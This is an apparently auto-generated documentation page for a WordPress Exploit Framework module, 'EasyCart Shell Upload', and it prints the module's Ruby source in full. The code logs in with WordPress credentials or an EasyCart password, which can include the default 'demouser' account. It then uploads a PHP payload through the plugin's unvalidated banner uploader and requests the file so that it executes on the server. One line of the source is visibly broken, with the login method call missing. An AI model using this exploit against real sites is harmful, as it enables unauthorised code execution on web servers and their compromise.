Class: Wpxf::Exploit::EasyCartShellUpload

Inherits:
Module
  • Object
show all
Includes:
Wpxf, Net::HttpClient, WordPress::Login
Defined in:
lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb

Constant Summary

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ EasyCartShellUpload

Returns a new instance of EasyCartShellUpload.



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 8

def initialize
  super

  update_info(
    name: 'EasyCart Shell Upload',
    desc: 'WordPress Shopping Cart (WP EasyCart) Plugin for WordPress '\
          'contains a flaw that allows a remote attacker to execute '\
          'arbitrary PHP code. This flaw exists because the '\
          '/inc/amfphp/administration/banneruploaderscript.php script does '\
          'not properly verify or sanitize user-uploaded files. By '\
          'uploading a .php file, the remote system will place the file in '\
          'a user-accessible path. Making a direct request to the uploaded '\
          'file will allow the attacker to execute the script with the '\
          'privileges of the web server.'\
          "\n"\
          'In versions <= 3.0.8 authentication can be done by using the '\
          'WordPress credentials of a user with any role. In later '\
          'versions, a valid EasyCart admin password will be required that '\
          'is in use by any admin user. A default installation of EasyCart '\
          'will setup a user called "demouser" with a preset password '\
          'of "demouser".',
    author: [
      'Kacper Szurek', # Vulnerability disclosure
      'rastating'      # WPXF module
    ],
    references: [
      ['WPVDB', '7745']
    ],
    date: 'Jan 08 2015'
  )

  register_options([
    StringOption.new(
      name: 'username',
      desc: 'The WordPress username to authenticate with (versions <= 3.0.8)'
    ),
    StringOption.new(
      name: 'password',
      desc: 'The WordPress password to authenticate with (versions <= 3.0.8)'
    ),
    StringOption.new(
      name: 'ec_password',
      desc: 'The EasyCart password to authenticate with (versions <= 3.0.18)'
    ),
    BooleanOption.new(
      name: 'ec_password_is_hash',
      desc: 'Whether or not ec_password is an MD5 hash',
      default: false
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 92

def check
  check_plugin_version_from_readme('wp-easycart', '3.0.19')
end

#ec_password ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 68

def ec_password
  normalized_option_value('ec_password')
end

#ec_password_is_hash ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 72

def ec_password_is_hash
  normalized_option_value('ec_password_is_hash')
end

#password ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 64

def password
  normalized_option_value('password')
end

#payload_body_builder(date_hash, payload_name, include_req_id) ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 104

def payload_body_builder(date_hash, payload_name, include_req_id)
  builder = Utility::BodyBuilder.new
  builder.add_field('datemd5', date_hash)
  builder.add_file_from_string('Filedata', payload.encoded, payload_name)
  builder.add_field('reqID', req_id) if include_req_id
  builder
end

#plugin_url ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 96

def plugin_url
  normalize_uri(wordpress_url_plugins, 'wp-easycart')
end

#req_id ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 84

def req_id
  if ec_password_is_hash
    return ec_password
  else
    return Utility::Text.md5(ec_password)
  end
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 112

def run
  return false unless super

  if !use_wordpress_authentication && !use_ec_authentication
    emit_error 'You must set either the username and password options or '\
               'specify an ec_password value'
    return false
  end

  if use_wordpress_authentication && use_ec_authentication
    emit_info 'Both EasyCart and WordPress credentials were supplied, '\
              'attempting WordPress first...'
  end

  if use_wordpress_authentication
    emit_info "Authenticating using #{username}:#{password}..."
    cookie = (username, password)

    if !cookie
      if use_ec_authentication
        emit_warning 'Failed to authenticate with WordPress, attempting '\
                     'upload with EC password next...'
      else
        emit_error 'Failed to authenticate with WordPress'
        return false
      end
    else
      emit_success 'Authenticated with WordPress', true
    end
  end

  emit_info 'Preparing payload...'
  payload_name = Utility::Text.rand_alpha(10)
  date_hash = Utility::Text.md5(Time.now.to_s)
  uploaded_filename = "#{payload_name}_#{date_hash}.php"
  payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
  builder = payload_body_builder(
    date_hash,
    "#{payload_name}.php",
    use_ec_authentication
  )

  emit_info 'Uploading payload...'
  res = nil
  builder.create do |body|
    res = execute_post_request(url: uploader_url, body: body, cookie: cookie)
  end

  if res.nil? || res.code != 200
    emit_error 'Failed to upload payload'
    emit_error "Server responded with code #{res.code}", true
    return false
  end

  emit_info 'Executing the payload...'
  res = execute_get_request(url: payload_url)
  if res && res.code == 200 && !res.body.strip.empty?
    emit_success "Result: #{res.body}"
  end

  true
end

#uploader_url ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 100

def uploader_url
  normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
end

#use_ec_authentication ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 80

def use_ec_authentication
  ec_password.to_s != ''
end

#use_wordpress_authentication ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 76

def use_wordpress_authentication
  username.to_s != '' && password.to_s != ''
end

#username ⇒ Object 



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# File 'lib/wpxf/modules/exploit/shell/easy_cart_shell_upload.rb', line 60

def username
  normalized_option_value('username')
end